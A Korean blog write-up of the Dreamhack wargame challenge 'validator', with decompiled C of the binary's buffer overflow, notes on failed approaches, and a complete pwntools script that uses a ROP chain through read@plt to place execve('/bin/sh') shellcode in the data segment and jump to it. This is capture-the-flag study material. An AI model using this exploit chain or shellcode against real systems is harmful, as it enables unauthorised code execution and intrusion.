security/포너블 - dreamhack

[Dreamhack Wargame] validator

민사민서 2023. 6. 16. 14:49

Level 2라 걱정됐는데 난이도 자체는 그리 높지 않았다. IDA를 사용해 풀어야 하는 문제

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[128]; // [rbp-80h] , No Canary
  memset(s, 0, 0x10uLL);
  read(0, s, 0x400uLL); // BOF 가능
  validate(s, 128LL);
  return 0;
}
__int64 __fastcall validate(__int64 a1, unsigned __int64 a2)
{
  int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i <= 9; ++i )
  { 
  // 전역변수 correct에는 "DREAMHACK!\x00" 저장되어있음, 0x601040
    if ( *(_BYTE *)((a1+i) != correct[i] )
      exit(0);
  }
  for ( i = 11; i < a2 ; ++i )
  {
  // a1[11] ~ a1[128]로 갈수록 각 바이트 1씩 줄어들어야 함
    if ( *(unsigned __int8 *)(a1+i) != *(char *)(a1+i+1) + 1 )
      exit(0);
  }
  return 0LL;
}

gadget이라는 수상한 함수가 있길래 디스어셈해봤더니 poprdx 가젯 들어있었다

BOF 취약점이 존재하고, 첫 129바이트만 조건에 맞추면 그 뒤로는 자유롭게 exploit 가능

 

시도1. libc_base leak해서 ROP로 system("/bin/sh") 혹은 execve("/bin/sh", 0, 0)

- plt table 확인해보니 사용가능한 함수가 memset,read,validate 뿐

- 출력함수가 없으므로 libc_base leak 불가능, 당연히 system이나 "/bin/sh" 문자열 주소도 알 수 없음

 

시도2. got에 담긴 주소 partial overwrite / "/bin/sh"는 buf에 넣어두고 ret2main

- 함수 간 offset 커서 마지막 2바이트 덮는다고 해결되지 않더라

- SFP도 덮이므로 ret2main 해도 RBP가 변조됨

 

힌트에서 "서버 환경에 설치된 5.4.0 이전 버전의 커널에서는, NX Bit가 비활성화되어 있는 경우 읽기 권한이 있는 메모리에 실행 권한이 존재합니다."  => 그러면 DATA 영역에서 쉘코드 실행 가능한거 아닌가??

pop rdx 가젯은 일반적인 바이너리에서 찾기 어렵고 libc의 코드 가젯에서 찾아야하는데, 여기서는 의도적으로 넣어줬다. 인자 3개짜리 ROP가 의도된 풀이인거지

 

그럼 read@plt 및 각종 가젯들을 사용하여
DATA 영역에 쉘코드 작성 후 그쪽으로 rip 옮기면 되겠다
pwndbg로 확인해보니 0x601050 부터 NULL Padding => 여기에 쉘코드 삽입 후 실행 흐름 옮기자

from pwn import *

# p = process("./validator_server")
p = remote("host3.dreamhack.games", 10527)

# gadgets & data
read_plt = 0x400470
prdi_r = 0x00000000004006f3
prsir15_r = 0x00000000004006f1
prdx_r = 0x40057b
writable_address = 0x601050
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

payload = b"DREAMHACK!" + b"A" # s[0] ~ s[9], s[10]
for i in range(118):
    payload += bytes([255-i]) # s[11] ~ s[128]
payload += b'B'*0x7 # SFP

# read(0, writable_address, 0x20)
payload += p64(prdi_r) + p64(0) + p64(prsir15_r) + p64(writable_address) + p64(0) + p64(prdx_r) + p64(0x20) + p64(read_plt)
payload += p64(writable_address)

p.send(payload)
p.send(shellcode)

p.interactive()

 

아직 해결 안 된 문제?

1. 로컬에서 test할 때 ./validator_server로 하면 되는데 ./validator_dist 하면 payload 보낼 시 exit code 0으로 프로그램 종료됨. ROP chain에 의해 read@plt 호출되지도 않음. why??  stripped not-stripped 차이뿐인데

2. ./validator_server로는 왜 쉘코드가 잘 실행되는거지 해당영역 rw-인데??

'security > 포너블 - dreamhack' 카테고리의 다른 글

[Dreamhack Wargame] seccomp  (0) 2023.06.18
[Dreamhack Wargame] Bypass SECCOMP-1  (0) 2023.06.18
pwn 강좌 메모  (0) 2023.06.15
[Dreamhack Wargame] Cat-Jump  (0) 2023.06.15
[Dreamhack Wargame] STB-lsExecutor  (0) 2023.06.15